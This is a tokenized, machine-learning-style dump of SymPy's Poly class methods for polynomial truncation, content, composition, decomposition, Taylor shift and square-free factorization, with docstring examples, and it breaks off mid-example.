"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Reduce", " ", "``", "f", "``", " ", "modulo", " ", "a", " ", "constant", " ", "``", "p", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", "**", "3", " ", "+", " ", "3", "*", "x", "**", "2", " ", "+", " ", "5", "*", "x", " ", "+", " ", "7", ",", " ", "x", ").", "trunc", "(", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(-", "x", "**", "3", " ", "-", " ", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "f_", "._", "rep_", "._", "dom_", "._", "convert_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "trunc", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "trunc", "_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "trunc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "content_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "GC", "D", " ", "of", " ", "polynomial", " ", "coefficient", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "6", "*", "x", "**", "2", " ", "+", " ", "8", "*", "x", " ", "+", " ", "1", "2", ",", " ", "x", ").", "content", "()", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "content", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "content_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "content", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "primitive_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "content", " ", "and", " ", "a", " ", "primi", "tiv", "e", " ", "form", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", "**", "2", " ", "+", " ", "8", "*", "x", " ", "+", " ", "1", "2", ",", " ", "x", ").", "primi", "tiv", "e", "()", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ",", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "4", "*", "x", " ", "+", " ", "6", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "primi", "tiv", "e", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cont_", ",_", "result_", "=_", "f_", "._", "rep_", "._", "primitive_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "primi", "tiv", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "cont_", ")_", ",_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compose_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "the", " ", "functional", " ", "composition", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "x", ",", " ", "x", ").", "compose", "(", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "x", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "compose", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "compose_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "compose", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "decompose", "_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "a", " ", "functional", " ", "decomposition", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "4", " ", "+", " ", "2", "*", "x", "**", "3", " ", "-", " ", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ".", "decompose", "()", "\\", "10", ";", " ", " ", " ", " ", "[", "Poly", "(", "x", "**", "2", " ", "-", " ", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "x", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "decompose", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "decompose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "decompose", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "list_", "(_", "map_", "(_", "f_", "._", "per_", ",_", "result_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shift_", "(_", "f_", ",_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Efficien", "tl", "y", " ", "compute", " ", "Ta", "ylor", " ", "shift", " ", "``", "f", "(", "x", " ", "+", " ", "a", ")``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ").", "shift", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "shift", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "shift_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "shift", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "gff", "\\u", "list_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "great", "est", " ", "factori", "al", " ", "factori", "zatio", "n", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "4", " ", "-", " ", "x", "**", "3", " ", "-", " ", "2", "*", "x", "**", "2", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "gff", "\\u", "list", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "Poly", "(", "x", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "1", "),", " ", "(", "Poly", "(", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "4", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "gff", "\\u", "list", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "gff", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "gff", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "(_", "f_", "._", "per_", "(_", "g_", ")_", ",_", "k_", ")_", "for_", "g_", ",_", "k_", "in_", "result_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sq", "f", "\\u", "norm_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "square", "-", "free", " ", "norm", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "``", "s", "``", ",", " ", "``", "f", "``", ",", " ", "``", "r", "``", ",", " ", "suc", "h", " ", "tha", "t", " ", "``", "g", "(", "x", ")", " ", "=", " ", "f", "(", "x", "-", "sa", ")`", "`", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "``", "r", "(", "x", ")", " ", "=", " ", "Norm", "(", "g", "(", "x", "))", "``", " ", "is", " ", "a", " ", "square", "-", "free", " ", "polynomial", " ", "over", " ", "``", "K", "``", ",", "\\", "10", ";", " ", " ", " ", " ", "where", " ", "``", "a", "``", " ", "is", " ", "the", " ", "algebra", "ic", " ", "extensi", "on", " ", "of", " ", "the", " ", "ground", " ", "domain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "sqrt", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "s", ",", " ", "f", ",", " ", "r", " ", "=", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "extensi", "on", "=[", "sqrt", "(", "3", ")])", ".", "sq", "f", "\\u", "norm", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "s", "\\", "10", ";", " ", " ", " ", " ", "1", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "2", "*", "sqrt", "(", "3", ")*", "x", " ", "+", " ", "4", ",", " ", "x", ",", " ", "domain", "='", "QQ", "<", "sqrt", "(", "3", ")>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "r", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "4", " ", "-", " ", "4", "*", "x", "**", "2", " ", "+", " ", "16", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sq", "f", "\\u", "norm", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", ",_", "g_", ",_", "r_", "=_", "f_", "._", "rep_", "._", "sq", "f", "\\u", "norm_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sq", "f", "\\u", "norm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "s_", ",_", "f_", "._", "per_", "(_", "g_", ")_", ",_", "f_", "._", "per_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sq", "f", "\\u", "part_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "square", "-", "free", " ", "part", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "-", " ", "3", "*", "x", " ", "-", " ", "2", ",", " ", "x", ").", "sq", "f", "\\u", "part", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "x", " ", "-", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sq", "f", "\\u", "part", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "sq", "f", "\\u", "part_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sq", "f", "\\u", "part", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sq", "f", "\\u", "list_", "(_", "f_", ",_", "all_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "square", "-", "free", " ", "factor", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "2", "*", "x", "**", "5", " ", "+", " ", "16", "*", "x", "**", "4", " ", "+", " ", "50", "*", "x", "**", "3", " ", "+", " ", "7", "6", "*", "x", "**", "2", " ", "+", " ", "56", "*", "x", " ", "+", " ", "16", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "sq", "f", "\\u", "list", "()", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ",", " ", "[(", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "2", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "3", ")])", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "sq", "f", "\\u", "list", "(", "all", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ",", " ", "[(", "Poly", "(", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "1", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "2", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "3", ")])", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sq", "f", "\\u", "list", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeff_", ",_", "factors_", "=_", "f_", "._", "rep_", "._", "sq", "f", "\\u", "list_", "(_", "all_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sq", "f", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "coeff_", ")_", ",_", "[_", "(_", "f_", "._", "per_", "(_", "g_", ")_", ",_", "k_", ")_", "for_", "g_", ",_", "k_", "in_", "factors_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sq", "f", "\\u", "list", "\\u", "include_", "(_", "f_", ",_", "all_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "square", "-", "free", " ", "factor", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "expand", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "expand", "(", "2", "*(", "x", " ", "+", " ", "1", ")**", "3", "*", "x", 